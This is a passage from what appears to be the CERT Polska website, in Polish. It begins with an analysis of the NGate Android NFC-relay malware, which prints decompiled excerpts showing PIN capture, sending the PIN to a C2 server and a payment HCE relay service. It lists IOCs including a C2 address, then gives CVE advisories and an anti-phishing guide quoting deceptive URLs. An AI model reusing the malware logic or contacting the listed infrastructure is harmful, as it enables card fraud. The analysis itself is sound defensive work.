    private List<String> cardAids;
    private String cardNumber, expiration, pin;
    private Boolean pinConfirmed;

    public byte[] m87l() {
        return toBytesNative(m97b(), (String[]) cardAids.toArray(new String[0]),
                             m95d(), m96c(), m94e()); // ← pin included
    }

    public native byte[] toBytesNative(String num, String[] aids,
                                       String pin, String exp, boolean confirmed);
}

Przechwytywanie kodu PIN: z klawiatury do scoketu w jednym kroku

Niestandardowa klawiatura PIN przechwytuje cyfry do specjalnego pola EditText. Po osiągnięciu wymaganej długości (domyślnie 4) publikuje pełny PIN na wewnętrznej szynie zdarzeń.

// rha.dev.p031me.pinlibrary.PinCodeField (excerpt)
public class PinCodeField extends EditText {
    class C0222b implements TextWatcher {
        public void afterTextChanged(final Editable e) {
            if (e.length() == PinCodeField.this.f429e) {     // default 4
                PinCodeField.this.postDelayed(() -> {
                    InterfaceC0039c.f62f.mo184i(e.toString()); // publish PIN
                }, 100L);
            }
        }
    }
}

Warstwa sieciowa nasłuchuje tego zdarzenia i natychmiast eksfiltruje kod PIN jako dedykowany kod opcode:

// rha.dev.p031me.net.NetMan
public void m153E(String str) {
    m150H(ServerData.EnumC0219b.OP_PIN_REQ, str.getBytes(StandardCharsets.UTF_8));
}

Serwer odpowiada komunikatem „OP_PIN_VALID” / „OP_PIN_INVALID” (reakcja interfejsu użytkownika), ale w tym momencie kod PIN opuścił już urządzenie. Dodatkowo, podczas serializacji blobu karty (CardData.m87l()), pole PIN może zostać tam również uwzględnione.

Usługa HCE: dowód zdolności „emitera”

Mimo że ta próbka działa jako czytnik, zawiera w pełni zadeklarowaną usługę HostApduService z identyfikatorem AID podobnym do płatności i bez wymogu odblokowania.

<!-- res/xml/hce.xml -->
<host-apdu-service
    android:description="@string/app_name"
    android:requireDeviceUnlock="false"
    android:apduServiceBanner="@mipmap/ic_launcher">
  <aid-group android:category="other">
    <aid-filter android:name="F001020304050607"/>
  </aid-group>
  <aid-group android:category="payment">
    <aid-filter android:name="F001020304050607"/>
  </aid-group>
</host-apdu-service>

Usługa rejestruje i przekazuje przychodzące komunikaty APDU (jako punkt końcowy przekaźnika), zwracając pustą odpowiedź:

// rha.dev.p031me.nfc.hce.ApduService (excerpt)
public class ApduService extends HostApduService {
    @Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
        Log.d("ApduService", "APDU-IN: " + AbstractC0161b.m319a(apdu));
        C0160a wrapped = new C0160a(false, false, apdu);      // wrap APDU
        C0009i bus = C0009i.m547n();
        if (bus != null) bus.m545p(false, wrapped, this);     // forward upstream
        return new byte[0];                                    // pure relay
    }
}

Dlaczego to ma znaczenie? - NGate może pełnić dwie role:: 1. Czytnik wersja, w której ofiara zczytuje swoją kartę, 2. Emiter telefon przy bankomacie (HCE do terminala), połączony tym samym modelem kodu operacyjnego – klasyczna topologia NFC relay.

Summary

NGate to złośliwe oprogramowanie dla systemu Android, które wykorzystuje przekaźnik NFC do wypłacania gotówki z bankomatów przy użyciu kart ofiar. Jest ono dostarczane za pomocą phishingu oraz telefonu od „wsparcia bankowego”, który naciska na użytkownika, aby zainstalował aplikację, przyłożył kartę do telefonu i wprowadził PIN. Aplikacja działa w trybie czytnika, aby przechwycić EMV APDU i PIN, a następnie przesyła je za pomocą prostego protokołu TCP do zakodowanego na stałe C2; ta sama rodzina dostarcza również usługę HCE kategorii płatności, umożliwiającą pełnienie roli nadajnika w bankomacie. Konfiguracja jest przechowywana jako zasób zaszyfrowany algorytmem XOR z kluczem pochodzącym z certyfikatu podpisującego APK (SHA-256); w tej próbce prowadzi to do jawnego C2. Wniosek: po przyłożeniu karty i wpisaniu PINu napastnik może przekazać sesję i wypłacić gotówkę.

Kluczowe wnioski

Inżynieria społeczna → aplikacja pobrana z innego źródła → dotknięcie karty + PIN → przekazanie do bankomatu.
Obsługiwane role: czytnik (telefon ofiary) i emiter (telefon atakującego/strona bankomatu).
Konfiguracja odszyfrowana z zasobów /____ przy użyciu SHA-256(cert) jako klucza XOR.
Ramki tekstu jawnego w sieci (len|opcode|body), okresowe sygnały keep-alive.
Co opuszcza urządzenie: PAN, data ważności, AID, APDU i PIN.

IOC

2cee3f603679ed7e5f881588b2e78ddc
701e6905e1adf78e6c59ceedd93077f3
2cb20971a972055187a5d4ddb4668cc2
b0a5051df9db33b8a1ffa71742d4cb09
bcafd5c19ffa0e963143d068c8efda92
91.84.97.13:5653
files[.]fm/u/yfwsanu886

Podatność w oprogramowaniu Eveo URVE Smart Office

2025-10-30T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Eveo URVE Smart Office i koordynował proces ujawniania informacji.

Podatność CVE-2025-10348: URVE Smart Office jest podatny na atak typu Stored XSS w funkcji zgłaszania problemu. Atakujący posiadający konto o niskich uprawnieniach może przesłać plik SVG zawierający złośliwy kod, który zostanie wykonany, gdy ofiara odwiedzi adres URL przesłanego zasobu. Zasób ten jest dostępny dla każdego, bez jakiejkolwiek formy uwierzytelnienia.

Problem został naprawiony w wersji 1.1.24.

Podziękowania

Za zgłoszenie podatności dziękujemy Annie Błaszczak i Ksaweremu Kehl z Alior Banku.

Podatność w oprogramowaniu OpenSolution Quick.Cart

2025-10-30T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu OpenSolution Quick.Cart i koordynował proces ujawniania informacji.

Podatność CVE-2025-10317: Quick.Cart jest podatny na atak typu Cross-Site Request Forgery (CSRF) w funkcji tworzenia produktu. Złośliwy atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie POST, tworząc produkt o treści zdefiniowanej przez atakującego. Oprogramowanie to nie implementuje żadnych mechanizmów ochronnych przeciwko tego typu atakom. Wszystkie formularze dostępne w tym systemie są potencjalnie podatne.

Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił odpowiedzi zawierającej szczegóły dotyczące podatności ani zakresu wersji podatnych. Przetestowano i potwierdzono podatność jedynie wersji 6.7 — inne wersje nie zostały sprawdzone i również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Łukaszowi "vq4s" Woźniakowi.

Podatność w oprogramowaniu mMedica firmy Asseco

2025-10-28T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu mMedica firmy Asseco Poland S.A. i koordynował proces ujawniania informacji.

Podatność CVE-2025-9313: Nieuwierzytelniony użytkownik może połączyć się z publicznie dostępną bazą danych, używając dowolnych danych uwierzytelniających. System zapewnia pełny dostęp do bazy danych, wykorzystując wcześniej uwierzytelnione połączenie za pośrednictwem aplikacji mmBackup. Ta luka umożliwia atakującym ominięcie mechanizmów uwierzytelniania i uzyskanie nieautoryzowanego dostępu do bazy danych zawierającej poufne dane.

W wersji systemu mMedica 11.9.5 podatność została usunięta i dotyczy wyłącznie wersji poniżej 11.9.5

Producent zaleca jak najszybszą aktualizację systemu.

Podatność w oprogramowaniu Studio Fabryka DobryCMS

2025-10-24T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Studio Fabryka DobryCMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-8536: Zidentyfikowano podatność typu SQL Injection w DobryCMS. Niewłaściwa neutralizacja danych wejściowych dostarczonych przez użytkownika w funkcjonalności językowej umożliwia przeprowadzenie ataków typu SQL Injection.

Podziękowania

Za zgłoszenie podatności dziękujemy Dawidowi Radzińskiemu z RED SECURITY.

Podatność w oprogramowaniu Request Tracker

2025-10-24T07:55:00+01:00

Opis podatności

CERT Polska w ramach badań własnych znalazł podatność w oprogramowaniu Request Tracker firmy Best Practical i koordynował proces ujawniania informacji.

Podatność CVE-2025-9158: Request Tracker zawiera podatność typu Stored XSS w funkcji obsługującej zaproszenia kalendarza, która wyświetla dane zaproszenia bez oczyszczania kodu HTML. Podatność umożliwia atakującemu wysłanie specjalnie spreparowanego e-maila umożliwiającego wykonanie kodu JavaScript poprzez wyświetlenie zgłoszenia w kontekście zalogowanego użytkownika.

Podatność dotyczy wersji od 5.0.4 do 5.0.8 włącznie oraz od 6.0.0 do 6.0.1 włącznie.

Podatności w oprogramowaniu kamer Vilar VS-IPC1002

2025-10-23T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu kamer Vilar VS-IPC1002 i koordynował proces ujawniania informacji.

Podatność CVE-2025-53701: Kamery IP Vilar VS-IPC1002 są podatne na ataki typu Reflected XSS (Cross-site Scripting), ponieważ parametry w zapytaniach GET wysyłanych do endpointu /cgi-bin/action nie są odpowiednio oczyszczane. Umożliwia to atakowanie zalogowanych użytkowników z uprawnieniami administratora.

Podatność CVE-2025-53702: Kamery IP Vilar VS-IPC1002 są podatne na ataki typu DoS (Denial-of-Service). Nieuwierzytelniony atakujący znajdujący się w tej samej sieci lokalnej może wysłać spreparowane żądanie do endpointu /cgi-bin/action, co powoduje całkowitą niedostępność urządzenia. Wymagany jest ręczny restart kamery.

Producent nie udzielił żadnej odpowiedzi. Przetestowano jedynie wersję 1.1.0.18 - inne wersje również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Paszunowi.

Podatności w oprogramowaniu OpenSolution QuickCMS

2025-10-23T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-9980: QuickCMS jest podatny na wiele ataków typu Stored XSS w funkcjonalności edytora stron pages-form. Atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania edytowanej strony. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania JavaScriptu do witryny.

Podatność CVE-2025-9981: QuickCMS jest podatny na wiele ataków typu Stored XSS w funkcjonalności edytora sliderów sliders-form. Atakujący posiadający uprawnienia administratora może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany na każdej stronie. Domyślnie użytkownik z uprawnieniami administratora nie ma możliwości dodawania JavaScriptu do witryny.

Podziękowania

Za zgłoszenie podatności dziękujemy Bartłomiejowi "Holl0w" Adamskiemu.

Podatność w oprogramowaniu SIMPLE.ERP

2025-10-21T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu SIMPLE.ERP firmy Simple SA i koordynował proces ujawniania informacji.

Podatność CVE-2025-9339: Podatność typu SQL injection w polach formularza filtrowania dokumentów magazynowych w oprogramowaniu SIMPLE.ERP umożliwia zalogowanemu użytkownikowi wstrzyknięcie złośliwego zapytania. Zakres potencjalnego wykorzystania jest ograniczony limitem 20 znaków w polach formularza. Zidentyfikowany przypadek użycia pozwala na usuwanie tabel o nazwie składającej się maksymalnie z 6 znaków. Nie znaleziono sposobu na odczytanie danych w ramach dostępnego limitu znaków.

Problem ten dotyczy wersji SIMPLE.ERP wcześniejszych niż 6.30@a04.3.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Dąbkowskiemu.

Podatność w oprogramowaniu NetBird VPN

2025-10-20T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu NetBird VPN i koordynował proces ujawniania informacji.

Podatność CVE-2025-10678: Skrypt dostarczony przez producenta wykorzystywany do zainstalowania NetBird VPN nie usuwał ani nie zmieniał domyślnego hasła konta administratora utworzonego przez ZITADEL - domyślnego dostawcę tożsamości. Problem dotyczy instancji zainstalowanych przy użyciu tego skryptu oraz może dotyczyć instancji, które korzystały z obrazu Dockera, jeśli domyślne hasło nie zostało zmienione ani użytkownik nie został usunięty.

Ten problem został usunięty w wersji 0.57.0

Podziękowania

Za zgłoszenie podatności dziękujemy Adamowi Sobierajowi.

Podatność w oprogramowaniu Strapi

2025-10-16T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Strapi i koordynował proces ujawniania informacji.

Podatność CVE-2025-3930: Strapi używa tokenów JWT (JSON Web Tokens) do uwierzytelniania. Po wylogowaniu lub dezaktywacji konta token JWT nie jest unieważniany, co pozwala atakującemu, który go przechwycił lub ukradł, na jego swobodne ponowne użycie aż do daty wygaśnięcia (domyślnie ustawionej na 30 dni, domyślną wartość można zmienić). Istnienie punktu końcowego /admin/renew-token umożliwia każdemu odnawianie tokenów bliskich wygaśnięcia w nieskończoność, co dodatkowo zwiększa skalę tego ataku.

Problem został naprawiony w wersji 5.24.1.

Podziękowania

Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.

Dawka informacji o cyberzagrożeniach – premiera raportów miesięcznych CERT Polska

2025-10-15T15:00:00+02:00

Pobierz raport (PDF, 1.4MB)

Opublikowaliśmy właśnie pierwszy raport miesięczny, podsumowujący nasze działania i obserwacje za wrzesień 2025. To początek nowej formuły komunikacji – chcemy regularnie informować o najważniejszych incydentach, trendach i aktywnościach zespołu.

Raporty będą publikowane cyklicznie – co miesiąc, prezentując m.in.:

statystyki obsłużonych incydentów,
najważniejsze zagrożenia i kampanie,
działania zespołu w zakresie współpracy i edukacji,
rekomendacje dla użytkowników i instytucji.

To narzędzie, które ma wspierać budowanie świadomości cyberbezpieczeństwa w Polsce i ułatwiać dostęp do aktualnych i rzetelnych informacji o stanie zagrożeń.

— podkreśla Marcin Dudek, kierownik zespołu CERT Polska. Dodaje, że dane w ujęciu miesięcznym dobrze pokazują trendy, ale jednocześnie pozostają aktualne.

Chcesz być na bieżąco?

Zachęcamy do zapisania się na powiadomienia o nowych raportach poprzez platformę moje.cert.pl. Dzięki temu nie przegapisz żadnej publikacji i będziesz otrzymywać informacje bezpośrednio na swoją skrzynkę.

Wszystkie opublikowane dotychczas raporty znajdują się na podstronie z naszymi publikacjami.

Dobrej lektury!

Podatności w oprogramowaniu PAD CMS

2025-09-30T11:55:00+01:00

Opis podatności

CERT Polska koordynował proces ujawniania informacji o 9 podatnościach w oprogramowaniu PAD CMS.

Zgłoszone podatności

Podatność CVE-2025-7063: Ze względu na kontrolowany przez klienta parametr sprawdzający uprawnienia, funkcjonalność wgrywania plików w PAD CMS pozwala nieuwierzytelnionemu zdalnemu atakującemu na przesyłanie plików dowolnego typu i z dowolnym rozszerzeniem, co może prowadzić do zdalnego wykonania kodu.

Podatność CVE-2025-7065: Ze względu na kontrolowany przez klienta parametr sprawdzający uprawnienia, funkcjonalność wgrywania zdjęć w PAD CMS pozwala nieuwierzytelnionemu zdalnemu atakującemu na przesyłanie plików dowolnego typu i rozszerzeniu, co może prowadzić do zdalnego wykonania kodu.

Badania własne

Podatność CVE-2025-8116: PAD CMS jest podatny na atak typu Reflected XSS w funkcjonalności drukowania oraz zapisu do PDF. Złośliwy atakujący może przygotować specjalny adres URL, który po otwarciu spowoduje wykonanie dowolnego kodu JavaScript w przeglądarce ofiary.

Podatność CVE-2025-8117: PAD CMS niepoprawnie inicjalizuje parametr używany do odzyskiwania hasła, co umożliwia zmianę hasła dowolnego użytkownika, który nie skorzystał wcześniej z funkcji resetowania hasła.

Podatność CVE-2025-8118: PAD CMS niepoprawnie implementuję ochronę przed atakami typu brute-force wykorzystując kontrolowane przez klienta ciasteczka: login_count oraz login_timeout. Informacje o liczbie prób logowania oraz czasie blokady nie są przechowywane po stronie serwera, co pozwala złośliwemu atakującemu obejść ochronę przed atakami typu brute-force poprzez resetowanie tych ciasteczek.

Podatność CVE-2025-8119: PAD CMS jest podatny na atak typu Cross-Site Request Forgery w funkcji resetowania hasła. Złośliwy atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez ofiarę automatycznie wyśle żądanie POST zmieniające hasło aktualnie zalogowanego użytkownika na wartość zdefiniowaną przez atakującego.

Podatność CVE-2025-8120: Ze względu na kontrolowany przez klienta parametr sprawdzający uprawnienia, funkcjonalność wgrywania zdjęć w PAD CMS pozwala nieuwierzytelnionemu zdalnemu atakującemu na przesyłanie plików dowolnego typu i rozszerzeniu, co może prowadzić do zdalnego wykonania kodu.

Podatność CVE-2025-8121: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez uwierzytelnionego atakującego w funkcjonalności pozycjonowania artykułów umożliwia ataki typu Blind SQL Injection.

Podatność CVE-2025-8122: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez uwierzytelnionego atakującego w funkcjonalności pozycjonowania artykułów umożliwia ataki typu Blind SQL Injection.

Te podatności występują we wszystkich 3 szablonach: www, bip and www+bip. Wsparcie dla tego produktu się skończyło, w związku z czym producent nie planuje publikacji poprawek dla tych podatności.

Podziękowania

Za zgłoszenie podatności CVE-2025-7063 oraz CVE-2025-7065 dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi. Pozostałe podatności zostały znalezione w ramach badań własnych CERT Polska.

Podatność w oprogramowaniu CivetWeb

2025-09-29T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu CivetWeb i koordynował proces ujawniania informacji.

Podatność CVE-2025-9648: Podatność w funkcji mg_handle_form_request biblioteki CivetWeb umożliwia zdalnym atakującym przeprowadzenie ataku DoS na serwer. Poprzez przesłanie specjalnie spreparowanego żądania HTTP POST zawierającego bajt zerowy (null byte) w treści, serwer wchodzi w nieskończoną pętlę podczas parsowania danych formularza. Wysłanie wielu takich złośliwych żądań prowadzi do całkowitego zużycia zasobów CPU i sprawia, że usługa przestaje odpowiadać na kolejne żądania.

Problem został rozwiązany w commicie 782e189. Problem dotyczy wyłącznie biblioteki, udostępniany przez producenta plik wykonywalny nie jest podatny na tę lukę.

Podziękowania

Za zgłoszenie podatności dziękujemy Arturowi Łąckiemu.

Podatność w kamerach GALAYOU G2

2025-09-22T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w kamerach GALAYOU G2 i koordynował proces ujawniania informacji.

Podatność CVE-2025-9983: Kamery GALAYOU G2 przesyłają obraz wideo za pomocą strumienia RTSP. Domyślnie strumienie są chronione losowo wygenerowanymi poświadczeniami. Jednak dostęp do strumienia nie wymaga użycia żadnych poświadczeń. Zmiana tych parametrów nie zmienia zachowania kamery.

Producent nie udzielił żadnej odpowiedzi. Przetestowano tylko wersję 11.100001.01.28 — inne wersje również mogą być podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Szymonowi Paszunowi.

Jak rozpoznać fałszywe strony internetowe i uniknąć phishingu

2025-09-17T12:00:00+02:00

Współczesne ataki phishingowe wykorzystują dokładne kopie wizualne znanych serwisów, co uniemożliwia rozpoznanie oszustwa na podstawie wyglądu strony. Przedstawiamy metodę analizy adresów URL jako jedyną niezawodną technikę weryfikacji autentyczności witryn. Omawiamy również funkcje bezpieczeństwa przeglądarek wspierające użytkowników w identyfikacji prawdziwych domen.

Dlaczego wygląd strony to za mało?

Phishing to wciąż najbardziej rozpowszechniona forma cyberoszustwa. Socjotechnika sprawa, że trafiamy na stronę, gdzie oszuści wyłudzają od nas cenne informacje. Pamiętajmy, że w dzisiejszych czasach praktycznie każdy, kto posiada podstawowe umiejętności techniczne, może stworzyć stronę do złudzenia przypominającą tę, którą dobrze znamy. Fałszywe strony mogą mieć skopiowany każdy element wizualny – logo, kolory, układ graficzny. Wszystko to sprawia, że nie jesteśmy w stanie odróżnić ich od oryginału.

Współczesny phishing to już nie tylko ordynarne oszustwo. Często wystarczy jedno kliknięcie w link z sensacyjnego posta w mediach społecznościowych albo w odnośnik z SMS-a lub e-maila aby trafić na dokładną kopię znanego serwisu.

Jak więc stwierdzić, na jakiej stronie naprawdę się znaleźliśmy?

Skoro nie możemy polegać na wyglądzie strony, to co nam pozostaje? Jedynym wiarygodnym źródłem informacji jest adres widoczny w pasku przeglądarki. To właśnie w nazwie domeny kryje się odpowiedź na pytanie, gdzie rzeczywiście jesteśmy. Jednak rozpoznanie domeny w adresie URL wcale nie jest proste – cyberprzestępcy używają coraz bardziej wyrafinowanych sztuczek, żeby nas zmylić.

Przykłady wprowadzających w błąd adresów

Przyjrzyjmy się dwóm rzeczywistym przykładom. Na pierwszy rzut oka wyglądają jak adresy znanych serwisów:

Przykład 1: https://account.booking.comんdetailんrestric-access.www-account-booking.com/en/
Przykład 2: https://allegrolokalnie.pl-oferta5815015105198474.cfd/oferta/laptop-gamingowy-lenovo-ryzen-5/qRnGOMfpKOeBBs7bre

Wydaje się, że pierwszy adres prowadzi do Booking.com, a drugi do Allegro Lokalnie, prawda? Nic bardziej mylnego! Żaden z nich nie należy do oryginalnych serwisów.

Jak poprawnie przeanalizować taki adres

Żeby poprawnie przeanalizować adres strony, należy wykonać następujące kluczowe kroki:

Krok 1: Wyizoluj domenę

Znajdź pierwszy ukośnik (/) po schemacie „http://” lub „https://”. Wszystko między „://” a tym ukośnikiem to nazwa hosta (domena).

Krok 2: Uważaj na homoglify – znaki podobne do typowych symboli

W pierwszym przykładzie znak „ん" tylko udaje ukośnik i tyldę, ale jest zupełnie innym znakiem – takie podstawienia mają zmylić nasz wzrok.

Krok 3: Czytaj domenę od prawej do lewej

Rozbij domenę na części po kropkach i analizuj od prawej do lewej:

Najbardziej wysunięty segment to rozszerzenie domeny najwyższego poziomu (TLD), np. .com, .pl, .cfd
Niektóre rozszerzenia są złożone, np. .waw.pl, .com.pl, .org.pl
Główna domena składa się z rozszerzenia oraz etykiety bezpośrednio je poprzedzającej
Wszystko na lewo to subdomeny lub wstawki, które nie wskazują na przynależność do rzeczywistej marki

Zastosowanie tej analizy pozwala ujawnić prawdę. Po przejściu powyższych kroków odkrywamy:

Prawdziwą domenę w pierwszym adresie: www-account-booking.com (a nie booking.com!)
Prawdziwą domenę w drugim adresie: pl-oferta5815015105198474.cfd (a nie allegrolokalnie.pl!)

Jak widać, poprawna analiza adresu URL wcale nie jest łatwa i wymaga uwagi oraz znajomości podstawowych zasad budowy adresów internetowych.

Funkcje bezpieczeństwa przeglądarek: Twoja pierwsza linia obrony

Ochrona w przeglądarkach na komputerze

Nowoczesne przeglądarki zawierają funkcje bezpieczeństwa pomagające użytkownikom identyfikować rzeczywiste domeny. Firefox wyróżnia się podświetlaniem głównej domeny.

Podczas przeglądania naszych przykładów w Firefoxie, widzimy w pasku adresu:

Przeglądarka wyraźnie podświetla www-account-booking.com dla pierwszego adresu oraz pl-oferta5815015105198474.cfd w drugim adresie.

To wizualne rozróżnienie natychmiast ujawnia, że te strony nie mają żadnego związku z oryginalnymi markami.

Chrome i inne przeglądarki również oferują podświetlanie domen. Zazwyczaj jednak podświetlają całą domenę wraz z subdomenami, co może utrudnić wykrycie oszustwa. Dodatkowo niższy kontrast kolorów w Chrome może sprawić, że podświetlenie będzie mniej zauważalne dla użytkowników. Dlatego liczy się Wasza uważność!

Kwestie przeglądarek mobilnych

Biorąc pod uwagę mniejszy rozmiar ekranu na urządzeniach mobilnych, możemy się zastanawiać, jak te długie, zwodnicze adresy URL wyglądają na smartfonach. Na szczęście większość przeglądarek mobilnych implementuje inteligentne przewijanie, które automatycznie ustawia pasek adresu tak, aby wyświetlić koniec domeny — najważniejszą część do weryfikacji.

Firefox na urządzeniach mobilnych na przykład dba o to, żeby rzeczywista domena pozostała widoczna, przewijając adres tak, aby pokazać:

...www-account-booking.com/... dla pierwszego przykładu
...erta5815015105198474.cfd/... dla drugiego przykładu

Chrome na Androidzie i Safari na iOS wdrożyły to samo podejście ochronne:

Jak pokazano powyżej, wszystkie popularne przeglądarki na urządzenia mobilne automatycznie przewijają pasek adresu, aby ujawnić rzeczywistą domenę. Zapobiegają w ten sposób przysłonięciu prawdziwej tożsamości strony przez zwodnicze przedrostki wykorzystywane przez oszustów.

To sprytne pozycjonowanie utrzymuje ten sam poziom ochrony na urządzeniach mobilnych. Użytkownicy powinni jednak być świadomi, że niektóre mniej popularne przeglądarki na urządzenia mobilne mogą nie posiadać tej funkcji bezpieczeństwa. W takich przypadkach zwodnicza część adresu może pozostać widoczna, podczas gdy rzeczywista domena będzie ukryta.

Zachowanie czujności w zmieniającym się krajobrazie zagrożeń

Zrozumienie, jak prawidłowo analizować adresy URL i rozpoznawać oszustwa domenowe jest kluczowe dla bezpieczeństwa online. Choć konkretne przykłady użyte w tym artykule zostały już oznaczone i zablokowane przez Google Safe Browsing (chroniąc użytkowników przeglądarek korzystających z tej usługi), podstawowe zasady analizy adresów internetowych pozostają uniwersalne.

Techniki phishingu wciąż ewoluują. Dlatego tak ważna jest znajomość tych podstawowych kwestii – właściwej identyfikacji domen i zrozumienia funkcji bezpieczeństwa przeglądarek. Stanowi to najlepszą obronę przed coraz bardziej wyrafinowanymi próbami oszustwa online.

Pamiętaj: gdy masz wątpliwości co do autentyczności strony internetowej, poświęć chwilę na dokładne sprawdzenie tego, co wyświetla się w pasku adresu przeglądarki. Te kilka sekund analizy może uchronić cię przed staniem się kolejną ofiarą oszustwa internetowego. Podziel się tym artykułem z bliskimi - rozpoznawanie domeny to kompetencja, która w dzisiejszych czasach jest bardzo potrzebna!

Podatności w oprogramowaniu Sparkle

2025-09-16T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Sparkle i koordynował proces ujawniania informacji.

Podatność CVE-2025-10015: Framework Sparkle zawiera usługę XPC Downloader.xpc, która domyślnie jest dostępna tylko dla aplikacji, z którą została zintegrowana. Lokalny, nieuprzywilejowany atakujący może zarejestrować tę usługę globalnie, dzięki czemu odziedziczy ona uprawnienia TCC aplikacji. Brak walidacji klienta łączącego się z usługą pozwala atakującemu kopiować pliki chronione przez TCC do dowolnej lokalizacji. Dostęp do innych zasobów, poza dotychczas przyznanymi uprawnieniami, wymaga interakcji użytkownika z systemowym monitem proszącym o zgodę.

Podatność CVE-2025-10016: Framework Sparkle zawiera narzędzie Autoupdate. Z powodu braku uwierzytelniania klientów łączących się z usługą, lokalny nieuprzywilejowany atakujący może zażądać instalacji złośliwego pliku PKG, ścigając się o połączenie z usługą Autoupdate w momencie, gdy inna aplikacja uruchamia go z uprawnieniami roota. Skutkuje to lokalnym eskalowaniem uprawnień do poziomu roota. Możliwe jest również ręczne uruchomienie Autoupdate za pomocą usługi XPC Installer. Wymaga to jednak, aby ofiara wprowadziła dane uwierzytelniające w systemowym oknie autoryzacji, które może zostać zmodyfikowane przez atakującego.

Oba problemy zostały usunięte w wersji 2.7.2

Podziękowania

Za zgłoszenie podatności dziękujemy Karolowi Mazurkowi z Afine Team.

Podatność w oprogramowaniu urządzeń SMSEagle

2025-09-09T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu urzadzeń SMSEagle i brał udział w procesie ujawniania informacji.

Podatność CVE-2025-10095: Niektóre parametry w komponencie serwera SMPP w oprogramowaniu urządzeń SMSEagle nie są odpowiednio sanityzowane. Atakujący znajdujący się lokalnej sieci może to wykorzystać do wstrzyknięcia dowolnego kodu SQL. Podatność jest ograniczona do serwera SMPP, który działa na dedykowanej bazie danych, oddzielonej od głównej bazy danych oprogramowania.

Problem został naprawiony w wersji 6.11.

Podziękowania

Za zgłoszenie podatności dziękujemy Vincentowi Salvadori.

Podatność w oprogramowaniu ITCube CRM

2025-09-08T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu ITCube CRM i koordynował proces ujawniania informacji.

Podatność CVE-2025-5993: ITCube CRM, w wersjach od 2023.2 do 2025.2 włącznie, jest podatny na ataki typu Path Traversal. Nieuwierzytelniony atakujący w sposób zdalny jest w stanie wykorzystać podatny parametr fileName i pobrać dowolny plik, do którego serwer WWW posiada odpowiednie uprawnienia.

Podziękowania

Za zgłoszenie podatności dziękujemy Andrey Moerov z Possehl Secure GmbH.

Podatność w oprogramowaniu GOV CMS

2025-09-04T13:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Concept Intermedia GOV CMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-7385: Parametr search w oprogramowaniu GOV CMS nie jest odpowiednio sanityzowany. Nieuwierzytelniony zdalny atakujący może wykorzystać ten parametr do wstrzyknięcia dowolnego kodu SQL.

Producent nie podał informacji o podatnych wersjach. Wersje 4.0 i nowsze nie są podatne.

Podziękowania

Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.

Podatności w oprogramowaniu Payload CMS

2025-08-29T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Payload CMS i koordynował proces ujawniania informacji.

Podatność CVE-2025-4643: Payload wykorzystuje JSON Web Tokens (JWT) do uwierzytelniania. Po wylogowaniu token JWT nie jest unieważniany, co umożliwia atakującemu, który go przechwycił lub ukradł, ponowne jego użycie aż do momentu wygaśnięcia (domyślnie po 2 godzinach, choć czas ten można zmienić).

Podatność CVE-2025-4644: W adapterze SQLite oprogramowania Payload występowała podatność typu Session Fixation, wynikająca z ponownego użycia identyfikatora podczas tworzenia konta. Złośliwy atakujący mógł utworzyć nowe konto, zapisać jego token JWT, a następnie je usunąć — co nie powodowało unieważnienia tokena. W rezultacie kolejny nowo utworzony użytkownik otrzymywał ten sam identyfikator, co umożliwiało atakującemu ponowne użycie JWT do uwierzytelnienia i wykonywania działań jako ten użytkownik.

Oba problemy zostały naprawione w wersji 3.44.0 Payload.

Podziękowania

Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.

Podatności w oprogramowaniu OpenSolution QuickCMS

2025-08-28T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.

